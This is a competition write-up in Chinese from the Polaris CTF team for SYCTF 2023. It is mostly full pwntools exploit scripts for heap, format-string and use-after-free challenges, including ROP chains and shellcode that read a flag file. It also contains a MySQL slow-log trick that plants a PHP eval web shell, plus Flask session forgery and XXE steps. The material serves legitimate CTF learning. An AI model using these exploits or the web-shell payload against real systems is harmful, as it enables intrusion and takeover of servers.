本次安洵杯2023(SYCTF2023),我们Polaris战队排名第2。

排名 队伍 总分
1 b4f0re 4100
2 Polaris 4036
3 Arr3stY0u 3905
4 去有风的地方 3798
5 LaoGong 3447
6 这次还是一个人么 3032
7 广东计协 3004
8 EDISEC 2986
9 n03tAck 2831
10 AmTrain 2683

PWN

harde_pwn

先利用 ctypes 模块 + 溢出过随机数的检测

之后是一个无限次的非栈上格式化字符串漏洞

image-20230610220037255

这里是先泄露栈地址和 libc_base 之后,直接修改 printf 函数的返回地址

image-20230610213237031

从图中可以看到,printf 函数的返回地址在 rsp 中,如果我们预先将 rbp 那里修改为 one_gdaget ,再利用格式化字符串修改 printf 函数地址最后一个字节为 \xb1 ,那么,就会在 pop 之后 ret 到 one_gdaget ,以此 get shell,效果如下图

image-20230610213823661

至此,完成攻击

exp

from pwn import *
from struct import pack
from ctypes import *
import hashlib

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('47.108.165.60', 42545)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

sa(b'game!\n', p64(0)*4)
c_libc.srand(0)
for i in range(21):
    sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))

sa(b'input your data ;)\n', b'%8$p%11$p%7$p')
rl(b'0x')
stack = int(p.recv(12), 16)
rl(b'0x')
libc_base = int(p.recv(12), 16) - 0x29d90
ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x2a0

one_gadget = libc_base + 0xebcf8
printf_ret = ptr - 0x10

for i in range(6):
    sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%15$hn\x00')
    sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%45$hhn\x00')
    
sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%15$hn\x00')
sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%45$hhn\x00')

print(' printf_ret -> ', hex(printf_ret))
print(' heap_base -> ', hex(heap_base))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
inter()

DE_CAT

2.35的off-by-one

void __fastcall edit()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  edit_key = 0LL;
  output("idx:\n");
  v0 = input_num();
  if ( v0 <= 0x1F && chunk_list[v0] )
  {
    output("content:\n");
    chunk_list[v0][(int)read(0, chunk_list[v0], size_list[v0])] = 0; // off-by-one
  }
  else
  {
    output("wrong!\n");
  }
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('47.108.165.60', 36399)

def add_a_cat(size, content):
    sh.sendlineafter(b'>> \n', b'1')
    sh.sendlineafter(b'size:\n', str(size).encode())
    sh.sendafter(b'content:\n', content)

def delete_a_cat(index):
    sh.sendlineafter(b'>> \n', b'2')
    sh.sendlineafter(b'idx:\n', str(index).encode())

def show_a_cat(index):
    sh.sendlineafter(b'>> \n', b'3')
    sh.sendlineafter(b'idx:\n', str(index).encode())

def edit_a_cat(index, content):
    sh.sendlineafter(b'>> \n', b'4')
    sh.sendlineafter(b'idx:\n', str(index).encode())
    sh.sendafter(b'content:\n', content)

def kill_a_cat(index):
    sh.sendlineafter(b'>> \n', b'5')
    sh.sendlineafter(b'idx:\n', str(index).encode())


add_a_cat(0x4f8, b' ')
add_a_cat(0x4f8, b' ')
delete_a_cat(0)
add_a_cat(0x5f8, b' ')
add_a_cat(0x4f8, b' ')
show_a_cat(2)
sh.recvuntil(b'\0\0')
libc_addr = u64(sh.recvn(8)) - 0x21a110
heap_addr = u64(sh.recvn(8)) - 0x290
success('libc_addr: ' + hex(libc_addr))
success('heap_addr: ' + hex(heap_addr))

edit_a_cat(2, flat({0x0:heap_addr+0x290, 0x8:heap_addr+0x290, 0x4f0:0x500}, filler=b'\0', length=0x4f8))
delete_a_cat(1)
add_a_cat(0x288, b' ')
add_a_cat(0x288, b' ')
delete_a_cat(3)
delete_a_cat(2)
edit_a_cat(1, p64(((heap_addr + 0x2a0) >> 12) ^ (heap_addr + 0x10)))
add_a_cat(0x288, b' ')
add_a_cat(0x288, flat({0x30:0x1, 0x140: libc_addr + 0x221200-0x10}, filler=b'\0'))

add_a_cat(0x198, b' ')
show_a_cat(4)
sh.recvuntil(b'\0' * 0x10)
stack_addr = u64(sh.recvn(8)) - 0
success('stack_addr: ' + hex(stack_addr))
edit_a_cat(3, flat({0x30:0x1, 0x140: stack_addr-0x148}, filler=b'\0'))

add_a_cat(0x198, flat([
    0,
    libc_addr + 0x000000000002a3e5,
    (stack_addr-0x148) & (~0xfff), 
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
''') + b'\0')

sh.interactive()

pwnpwn

2.31下的off-by-null

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwnpwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.108.165.60', 49034)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      li('第%d步----' %(i+1))
      li('尝试:' +inputStrMax)
      li('----')
      AMax,BMax = compareAnswer(inputStrMax)
      li('反馈:%dA%dB' % (AMax, BMax))
      li('----')
      ll('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         li("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
         break
      elif i==5:
         ll("猜数字失败!")
         r.close()


def compareAnswer(inputStr):
   inputStr1 = inputStr[0]+inputStr[1]+inputStr[2]+inputStr[3]
   r.sendlineafter('please input your number:', inputStr1)
   #r.recvuntil('\n')

   tmp = r.recvuntil('B',timeout=0.5)
   if tmp == '':
      return 4,4
   tmp = tmp.split(b"A")
   if len(tmp[0]) > 0:
      A = tmp[0]
      B = tmp[1].split(b'B')[0]
      return int(A),int(B)
   else:
      return 4, 4

def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B

def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet

def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)

def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i


def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr

   return suggestedNum

menu = 'root@$\n'

def add(index, size, content=b'a'):
    r.sendlineafter(menu, '1')
    r.sendlineafter('give me your index:\n', str(index))
    r.sendlineafter('give me your size:\n', str(size))
    r.sendafter('give me your content:\n', content)

def show(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('give me your index:\n', str(index))

def pd(username, passwd):
    r.sendlineafter(menu, '5')
    r.sendafter('please input your username\n', username)
    r.sendafter('please input your passwd\n', passwd)

def edit(index, content):
    r.sendlineafter(menu, '3')
    r.sendlineafter('give me your index\n', str(index))
    r.sendlineafter('give me your index\n', str(index))
    r.sendafter('give me your content:\n', content)

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('give me your index:\n', str(index))

guessTrainner()
dbgg()

add(0, 0x410) # 0
add(1, 0x20) # 1
add(2, 0x20) # 2
add(3, 0x4f0) # 3
add(4, 0x10) # 4
add(5, 0x20) # 5

pd('a', 'a')
delete(0)
add(0, 0x410)
edit(0, 'a' * 8)

pd('a' * 8, 'a' * 8)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

pd(b'a'.ljust(6, b'\x00'), b'a'.ljust(6, b'\x00'))
pd('abc', 'abc')
#delete(1)
#delete(2)
#add(1, 0x28, 'a' * 7 + '\n')

delete(0)
add(6, 0x500)
add(0, 0x410)
edit(0, 'a' * 0x10)
pd('a' * 8, 'a' * 8)

show(0)
r.recvuntil('a' * 0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x290
li('heap_base = ' + hex(heap_base))
pd(b'a'.ljust(6, b'\x00'), b'a'.ljust(6, b'\x00'))
pd('abc', 'abc')
delete(2)
p1 = p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50)
add(2, 0x28, p1)
delete(1)
p2 = p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10)
add(1, 0x28, p2)
delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31))
delete(5)
delete(2)

delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31) + p64(free_hook))

add(7, 0x20)
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base

add(8, 0x20, p64(one_gadget))

delete(0)
r.interactive()

computer

kill命令有UAF漏洞。

void __fastcall main_method(node **workdir, __int64 a2, node *a3, node *a4)
{
  ...
  if ( !strcmp(s1, "kill") )
  {
    v11 = atoi(s2);
    if ( v11 >= 0 && v11 <= pid_amount )
    {
      free((void *)pid_list[v11]->program);
      free(pid_list[v11]);
      --pid_amount;
      printf("%d had been killed\n", (unsigned int)v11);
    }
    return;
  }
  ...
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('47.108.165.60', 38253)
sh.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
    sh.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
    sh.sendlineafter(b'> ', b'touch ' + str(i).encode())
for i in range(8)[::-1]:
    sh.sendlineafter(b'> ', b'kill ' + str(i).encode())


sh.sendlineafter(b'> ', b'ps')
sh.recvuntil(b'\t')
sh.recvuntil(b'\t')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebca0
success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_addr + 0x3ee098))

sh.sendlineafter(b'> ', b'ps')
sh.recvuntil(b'\t')
sh.recvuntil(b'\t')
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x660
success('heap_addr: ' + hex(heap_addr))
sh.recvuntil(b'\t')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.sendlineafter(b'> ', b'rm 0')
sh.sendlineafter(b'> ', b'rm 1')

sh.sendlineafter(b'> ', b'kill 0')

sh.sendlineafter(b'> ', b'mkdir new')
sh.sendlineafter(b'> ', b'cd new')
sh.sendlineafter(b'> ', b'touch 00')
sh.sendlineafter(b'> ', b'touch 01')
sh.sendlineafter(b'> ', b'touch 02')
sh.sendlineafter(b'> ', b'touch ' + p64(stack_addr - 0xb28))
sh.sendlineafter(b'> ', b'touch ' + b'3' * 0x19)

sh.sendlineafter(b'> ', b'touch ' + b'c' * 8 + p64(libc_addr + 0x00000000000baf9c) + cyclic(218) + flat([
    libc_addr + 0x000000000002164f,
    (stack_addr - 0xb28) & (~0xfff),
    libc_addr + 0x0000000000023a6a,
    0x1000,
    libc_addr + 0x0000000000001b96,
    7,
    libc_addr + 0x000000000001b500,
    10 + 0x10,
    libc_addr + 0x000000000009a872,
    libc_addr + 0x00000000000d2625,
    libc_addr + 0x0000000000002b25,
]) + asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))


sh.interactive()

fuzz_heap

加了混淆的堆题,两个delete中有一个存在UAF。

.text:0000000000003A1F                               loc_3A1F:                               ; CODE XREF: delete+17B↑j
.text:0000000000003A1F 48 8D 05 6A 36 00 00          lea     rax, ptr
.text:0000000000003A26 48 8B 4D C8                   mov     rcx, [rbp+var_38]
.text:0000000000003A2A 8B 11                         mov     edx, [rcx]
.text:0000000000003A2C 89 D1                         mov     ecx, edx
.text:0000000000003A2E 48 8B 3C C8                   mov     rdi, [rax+rcx*8]                ; ptr
.text:0000000000003A32 E8 F9 D5 FF FF                call    _free
.text:0000000000003A32
.text:0000000000003A37 C7 45 C0 B2 B1 21 F5          mov     [rbp+var_40], 0F521B1B2h
.text:0000000000003A3E E9 07 00 00 00                jmp     loc_3A4A

爆破验证key程序

// gcc -pthread -O3 crack.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

#define NUM 20

unsigned int need;

void *worker(void *p)
{
    size_t i, j;
    unsigned int tmp, _need = need;
    for(i = (size_t)p; i < 0x100000000; i += NUM)
    {
        tmp = i;
        for(j = 0; j < 35; j++)
            tmp = tmp ^ ((16 * tmp) ^ ((tmp ^ (16 * tmp)) >> 21) ^ (((16 * tmp) ^ tmp ^ ((tmp ^ (16 * tmp)) >> 21)) << 17));
        if(tmp == _need)
        {
            write(STDOUT_FILENO, &i, sizeof(i));
            exit(EXIT_SUCCESS);
        }
    }
}

int main()
{
    pthread_t *threads;
    int i, core = NUM;
    read(STDIN_FILENO, &need, sizeof(need));
    
    threads = calloc(core, sizeof(pthread_t));
    
    for(i = 0; i < core; i++)
    {
        pthread_create(&threads[i], NULL, worker, (void *)i);
    }

    for(i = 0; i < core; i++)
    {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('47.108.165.60', 33296)

def add(index, size, content):
    # 0x417 - 0x46f
    sh.sendlineafter(b'you can fuzz this game\n', b'6')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())
    sh.sendlineafter(b'give me your size:\n', str(size).encode())
    sh.sendafter(b'give me your content:\n', content)

def delete(index):
    sh.sendlineafter(b'you can fuzz this game\n', b'41')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())

def delete2(index):
    sh.sendlineafter(b'you can fuzz this game\n', b'21')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())

def show(index):
    sh.sendlineafter(b'you can fuzz this game\n', b'31')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())
    sh.recvuntil(b'give me your content:\n')

def show2(index):
    sh.sendlineafter(b'you can fuzz this game\n', b'32')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())
    sh.recvuntil(b'give me your content:\n')

def edit(index, content):
    sh.sendlineafter(b'you can fuzz this game\n', b'18')
    sh.sendlineafter(b'give me your index:\n', str(index).encode())
    sh.sendafter(b'give me your content:\n', content)

sh.recvuntil(b'hhh\n')

t = process(['./crack'])
t.send(p32(int(sh.recvuntil(b'\n'), 16)))
key = u32(t.recv(4))

success('key: ' + hex(key))
sh.sendline(str(key).encode())

add(0, 0x448, b'\0')
add(1, 0x448, b'\0')
add(2, 0x438, b'\0')
add(3, 0x448, b'\0')

delete(0)
show(0)
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

add(4, 0x468, b'\0')
delete2(4)
add(5, 0x448, b'a' * 0x10)

show(5)
sh.recvuntil(b'a' * 0x10)
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x290
success('heap_addr: ' + hex(heap_addr))
delete2(5)

add(5, 0x448, b'b' * 0x10)
delete2(5)

add(4, 0x468, b'\0')

delete2(2)

edit(0, b'a' * 0x18 + p64(libc_addr + 0x2193c8 - 0x20))
add(2, 0x418, b'\0')

delete(1)
delete(0)
add(6, 0x448, p64(0) + p64(libc_addr + 0x221200 - 0x10))
add(7, 0x448, b'\0')

show2(7)
sh.recvn(0x10)
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

delete(3)
delete(0)

add(8, 0x448, p64(0) + p64(stack_addr-0x5f8 + 0x50))

add(9, 0x448, flat([
    0,
    libc_addr + 0x000000000002a3e5,
    (stack_addr-0x5f8) & (~0xfff),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d
]) + asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()

Web

Confronting robot

Sqlmap跑一下

发现robot_data库的name表里面有

/sEcR@t_n@Bodyknow.php

访问页面,在这里面输入

发现能执行sql命令,我想起来了慢日志查询

按照这个打

set GLOBAL log_queries_not_using_indexes=on;
set GLOBAL slow_query_log=on;
set GLOBAL slow_query_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select '<?php @eval($_POST[cmd]);phpinfo();?>' from mysql.db where sleep(10);

如果慢日志地址写入的是其他php的话,会显示没有权限,有权限的肯定是当前页面

没有权限访问的页面

有权限的页面

读取flag

Carelesspy

在/eval路由中,传参看到?cmd=/app/__pycache__目录下有个part.cpython-311.pyc

Download下载,反编译

获取SECRET_KEY

o2takuXX_donot_like_ntr

Flask session伪造

登录成功后,访问出现的地址

/th1s_1s_The_L4st_one

Xxe注入获取flag

misc

easy_soduku

nc远程连上后发现是个数独游戏,python有一个数独库sudokum,可以直接利用,这题没用pwntool,会稍微麻烦一点,为了快一点,直接写脚本手撸答案

import sudokum

puzzle = []
with open("C:\\Users\\HK\\Desktop\\puzzle.txt", "r") as f:
    for line in f.readlines():
        tmp = []
        line = line.strip()
        for num in line:
            tmp.append(int(num))
        puzzle.append(tmp)

solution = sudokum.solve(puzzle)
for row in solution[1]:
    row = str(row)
    out = ""
    for i in range(9):
        out += row[1 + 3 * i]
    print(out)

多提交几次后会得到shell,直接cat flag即可

烦人的压缩包

下载得到一个压缩包,直接爆破得到密码645321

图片

图片中也藏了一个压缩包,分离出来的到压缩包

但是那个压缩包无法直接解压出,这个区块也不是COMP_STORED 算法,不然可以看到是16进制的格式

图片

直接改一下加密方式,发现是COMP_DEFLATE (8)

改好后得到正确的flag.txt

图片

Ook解码即可得到flag

图片

sudoku_speedrun

思路和第一题一样,不过判定时间更短

还是调用sudokum,通过将recv得到的数独转成二维数组,和解出数独,再通过蛇形遍历出答案,最后也是那到shell,直接cat flag

from pwn import *
import re
import sudokum

def getanswer(data):
    split_one = re.sub(r"\\x1b\[(\d);32m(\d)\\x1b\[0m", "0", str(data)).split("|")
    split_two = []
    for tmp in split_one:
        if len(tmp) == 7:
            split_two.append(tmp)
    puzzle_str = ""
    for tmp in split_two:
        for i in range(3):
            puzzle_str += tmp[1 + i * 2]
    puzzle = []
    for i in range(9):
        tmp = []
        for j in range(9):
            tmp.append(int(puzzle_str[i * 9 + j]))
        puzzle.append(tmp)
    solution = sudokum.solve(puzzle)[1]
    answer = ""
    for i in range(9):
        if i % 2 == 0:
            for j in range(9):
                if puzzle[i][j] == 0:
                    answer += str(solution[i][j])
                answer += "d"
        else:
            for j in range(8, -1, -1):
                if puzzle[i][j] == 0:
                    answer += str(solution[i][j])
                answer += "a"
        answer = answer[:-1] + "s"
    return answer[:-2]
conn = remote("47.108.165.60", 39961)
# 连接并获取数独
print(conn.recv())
print(conn.recv().decode())
conn.sendline("1".encode())
print(conn.recv().decode())
print(conn.recv().decode())
conn.sendline("5".encode())
print(conn.recv().decode())
data = conn.recv()
print(data.decode())
conn.sendline(getanswer(data).encode())
while True:
    print(conn.recv().decode())
conn.sendline("cat flag".encode())
print(conn.recv().decode())
print(conn.recv().decode())

Rev

ez_cpp

一个rot13 然后是一个对应位置运算

接下来是根据输入input 返回一个对应的值

求出映射表 然后再动调 根据输入输出的对应逆向即可

打表

#include <stdio.h> 
#include <string.h>
int __cdecl sub_DB3A6C(int a1, int a2)
{
  int v2; // edx
  int v3; // edi
  int v4; // ebx

  v2 = 0;
  v3 = 0;
  if ( a2 > 0 )
  {
    v4 = a2 - 1;
    do
      v2 |= ((a1 >> v3++) & 1) << v4--;
    while ( v3 < a2 );
  }
  return v2 + 1;
}


int main()
{
    char str[]={"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\]^_`{|}~"};
    int x;
    int v7=0x10400001;
    int enc[]={ 0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4, 
    0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024, 
    0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC, 
    0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E};
    printf("%d\n",strlen(str));
    for(int i=0;i<128;i++)
    {
    x= sub_DB3A6C(i,8);
    printf("0x%x:%d,",x,i);
    }
    
}

逆向

enc=[  0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4, 
    0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024, 
    0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC, 
    0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E]
v7=0x10400001
box=[13,141,77,205,45,173,109,237,29,157,135,71,199,39,167,103,231,23,151,87,215,55,183,119,247,15,143,79,207,47,175,111,239,31,159,95,131,67,195,35,163,99,227,19,147,83,211,51,179,115,243,11,139,75,203,43,171,107,235,27,155,91,133,197,37,165,101,229,21,149,85,213,53,181,117,245,93,221,61,189,125,253,3,219,187,123,251,7,223,63,191,127]

from string import printable
enc=[(i&0xff)^0x1 for i in enc]
print(enc)

dir={0x1:0,0x81:1,0x41:2,0xc1:3,0x21:4,0xa1:5,0x61:6,0xe1:7,0x11:8,0x91:9,0x51:10,0xd1:11,0x31:12,0xb1:13,0x71:14,0xf1:15,0x9:16,0x89:17,0x49:18,0xc9:19,0x29:20,0xa9:21,0x69:22,0xe9:23,0x19:24,0x99:25,0x59:26,0xd9:27,0x39:28,0xb9:29,0x79:30,0xf9:31,0x5:32,0x85:33,0x45:34,0xc5:35,0x25:36,0xa5:37,0x65:38,0xe5:39,0x15:40,0x95:41,0x55:42,0xd5:43,0x35:44,0xb5:45,0x75:46,0xf5:47,0xd:48,0x8d:49,0x4d:50,0xcd:51,0x2d:52,0xad:53,0x6d:54,0xed:55,0x1d:56,0x9d:57,0x5d:58,0xdd:59,0x3d:60,0xbd:61,0x7d:62,0xfd:63,0x3:64,0x83:65,0x43:66,0xc3:67,0x23:68,0xa3:69,0x63:70,0xe3:71,0x13:72,0x93:73,0x53:74,0xd3:75,0x33:76,0xb3:77,0x73:78,0xf3:79,0xb:80,0x8b:81,0x4b:82,0xcb:83,0x2b:84,0xab:85,0x6b:86,0xeb:87,0x1b:88,0x9b:89,0x5b:90,0xdb:91,0x3b:92,0xbb:93,0x7b:94,0xfb:95,0x7:96,0x87:97,0x47:98,0xc7:99,0x27:100,0xa7:101,0x67:102,0xe7:103,0x17:104,0x97:105,0x57:106,0xd7:107,0x37:108,0xb7:109,0x77:110,0xf7:111,0xf:112,0x8f:113,0x4f:114,0xcf:115,0x2f:116,0xaf:117,0x6f:118,0xef:119,0x1f:120,0x9f:121,0x5f:122,0xdf:123,0x3f:124,0xbf:125,0x7f:126,0xff:127
}
for i in enc:
    print(chr(dir[i]),end='')

# "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
# print(chr(ord("O")^4))#K
# print(chr(ord("O")^9))#F
# print(chr(ord("O")^6))#I
# print(chr(ord("O")-2))#M
# print(chr(ord("O")-5))#J

def rev(input):
    out = "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"
    result = ""
    for i in range(32):
        if(out[i]=="K"):
            result += chr(input[i]^4)
        if(out[i]=="F"):
            result += chr(input[i]^9)
        if(out[i]=="I"):
            result += chr(input[i]^6)
        if(out[i]=="M"):
            result += chr(input[i]+2)
        if(out[i]=="J"):
            result += chr(input[i]+5)
    return result
a = rev([ord(i) for i in "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"])
print(a)
input=[ord(i) for i in "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"]

a = rev(input)
print(a)

3d_maze

一个三维的迷宫 注意走迷宫的限制条件

打印出迷宫

然后根据分支条件手动走迷宫即可

map=[0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, .............. ]
maplist=[map[i*100:i*100+100] for i in range(6)]
for t in maplist:
    print("==========================================")
    for i in range(10):
        print(t[i*10:i*10+10])

# for i in range(100):
#     if(maplist[0][i]+maplist[1][i]==2):
#         print(i,end=' ')
# print()
# for i in range(100):
#     if(maplist[1][i]+maplist[2][i]==2):
#         print(i,end=' ')
#0 -> 1 -> 2 -> 4 ->3 ->5 -> 0

# (0,2)(4,9)=D=
# (4,0)(2,9)=D=
# (2,0)(0,0)=W=
# (0,9)(2,0)=A=
# (0,2)(9,2)=S=
# (7,0)(0,3)=W=
# (9,3)(8,3)
ans="wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw"
#ssssssddwwddddddwwwdddsdddddwwWassaaaaaaaasssssssssddwwdwwwwww
print(len(ans))

babythread

程序创建了两个线程对key进行操作

发现主要的加密逻辑是RC4加密 流加密 直接动态调试取出来密钥流key即可

cin="a"*32
print(cin)
